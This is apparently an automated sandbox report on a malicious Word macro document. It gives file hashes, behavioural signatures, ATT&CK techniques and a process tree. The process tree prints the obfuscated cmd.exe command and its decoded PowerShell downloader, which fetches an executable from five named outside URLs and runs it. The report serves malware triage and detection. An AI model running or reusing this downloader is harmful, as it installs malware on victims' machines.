2d3e0abe9642057ed898507a4fe9f0f665fe3ca1655b5e818bd5fbdd87b313f7

General

Target

2d3e0abe9642057ed898507a4fe9f0f665fe3ca1655b5e818bd5fbdd87b313f7.doc
Size

139KB
MD5

1e48ce79696508bbdfab22a36543dc08
SHA1

bc5b0b693fb92ddde3f718dab64efacf0a95ac60
SHA256

2d3e0abe9642057ed898507a4fe9f0f665fe3ca1655b5e818bd5fbdd87b313f7
SHA512

67ed8265be1015e01d57b41e41208518c3ac081bcc791b7010c00cb2423ec166a8a9a35d7b4501a81eeb8b81f66fb20bc7b5bfa8bc3ab2fa8fcd140ab64e8571
SSDEEP

1536:DLh81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadnf+aSzdgY7JM8E2LxUkB:58GhDS0o9zTGOZD6EbzCd+JM8X1B

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4840	316	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

98 1928 powershell.exe
100 1928 powershell.exe
102 1928 powershell.exe
104 1928 powershell.exe

flow	pid	process
98	1928	powershell.exe
100	1928	powershell.exe
102	1928	powershell.exe
104	1928	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

316 WINWORD.EXE
316 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1928 powershell.exe
1928 powershell.exe
4012 powershell.exe
4012 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1928 powershell.exe
Token: SeDebugPrivilege 4012 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

316 WINWORD.EXE
316 WINWORD.EXE
316 WINWORD.EXE
316 WINWORD.EXE
316 WINWORD.EXE
316 WINWORD.EXE
316 WINWORD.EXE

pid	process
316	WINWORD.EXE
316	WINWORD.EXE

pid	process
1928	powershell.exe
1928	powershell.exe
4012	powershell.exe
4012	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	4012	powershell.exe

pid	process
316	WINWORD.EXE
316	WINWORD.EXE
316	WINWORD.EXE
316	WINWORD.EXE
316	WINWORD.EXE
316	WINWORD.EXE
316	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exe

description	pid	process	target process
PID 316 wrote to memory of 4840	316	WINWORD.EXE	cmd.exe
PID 316 wrote to memory of 4840	316	WINWORD.EXE	cmd.exe
PID 4840 wrote to memory of 1412	4840	cmd.exe	cmd.exe
PID 4840 wrote to memory of 1412	4840	cmd.exe	cmd.exe
PID 4840 wrote to memory of 1928	4840	cmd.exe	powershell.exe
PID 4840 wrote to memory of 1928	4840	cmd.exe	powershell.exe
PID 1928 wrote to memory of 4012	1928	powershell.exe	powershell.exe
PID 1928 wrote to memory of 4012	1928	powershell.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2d3e0abe9642057ed898507a4fe9f0f665fe3ca1655b5e818bd5fbdd87b313f7.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:316

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /V/C"set 1Rh=;'jTt'=Zwo$}}{hctac}};kaerb;'KfJ'=wqV$;nsH$ metI-ekovnI{ )00008 eg- htgnel.)nsH$ metI-teG(( fI;'SXV'=GMB$;)nsH$ ,MvR$(eliFdaolnwoD.Bkp${yrt{)WlV$ ni MvR$(hcaerof;'exe.'+PVH$+'\'+pmet:vne$=nsH$;'DAH'=cWc$;'948' = PVH$;'zaa'=jsr$;)'@'(tilpS.'l1sYnNBwe/se.sedenepoitsegoncet//:ptth@ASMYmjN/moc.tluabmarelc-engapmahc.tenartni//:ptth@wQDqEp4zB/if.notirt//:ptth@tgf3utuF/moc.aiillemac//:ptth@9A2UEUgye/moc.grenut//:ptth'=WlV$;tneilCbeW.teN tcejbo-wen=Bkp$;'uKf'=Msc$ llehsrewop&&for /L %n in (470;-1;0)do set jy=!jy!!1Rh:~%n,1!&&if %n lss 1 echo !jy:*jy!=! |powershell -"
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4840

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo powershell $csM='fKu';$pkB=new-object Net.WebClient;$VlW='http://tunerg.com/eygUEU2A9@http://camelliia.com/Futu3fgt@http://triton.fi/Bz4pEqDQw@http://intranet.champagne-clerambault.com/NjmYMSA@http://tecnogestiopenedes.es/ewBNnYs1l'.Split('@');$rsj='aaz';$HVP = '849';$cWc='HAD';$Hsn=$env:temp+'\'+$HVP+'.exe';foreach($RvM in $VlW){try{$pkB.DownloadFile($RvM, $Hsn);$BMG='VXS';If ((Get-Item $Hsn).length -ge 80000) {Invoke-Item $Hsn;$Vqw='JfK';break;}}catch{}}$owZ='tTj'; "
3⤵
PID:1412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =fKu
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
memory/316-132-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmp

Filesize
64KB

Download
memory/316-133-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmp

Filesize
64KB

Download
memory/316-134-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmp

Filesize
64KB

Download
memory/316-135-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmp

Filesize
64KB

Download
memory/316-136-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmp

Filesize
64KB

Download
memory/316-137-0x00007FF82C530000-0x00007FF82C540000-memory.dmp

Filesize
64KB

Download
memory/316-138-0x00007FF82C530000-0x00007FF82C540000-memory.dmp

Filesize
64KB

Download
memory/1412-140-0x0000000000000000-mapping.dmp

Download
memory/1928-142-0x0000024FEBEA0000-0x0000024FEBEC2000-memory.dmp

Filesize
136KB

Download
memory/1928-141-0x0000000000000000-mapping.dmp

Download
memory/1928-143-0x0000024FEC510000-0x0000024FEC554000-memory.dmp

Filesize
272KB

Download
memory/1928-144-0x0000024FEC990000-0x0000024FECA06000-memory.dmp

Filesize
472KB

Download
memory/1928-145-0x00007FF8419D0000-0x00007FF842491000-memory.dmp

Filesize
10.8MB

Download
memory/1928-149-0x00007FF8419D0000-0x00007FF842491000-memory.dmp

Filesize
10.8MB

Download
memory/1928-151-0x00007FF8419D0000-0x00007FF842491000-memory.dmp

Filesize
10.8MB

Download
memory/4012-146-0x0000000000000000-mapping.dmp

Download
memory/4012-147-0x00007FF8419D0000-0x00007FF842491000-memory.dmp

Filesize
10.8MB

Download
memory/4012-148-0x00007FF8419D0000-0x00007FF842491000-memory.dmp

Filesize
10.8MB

Download
memory/4840-139-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads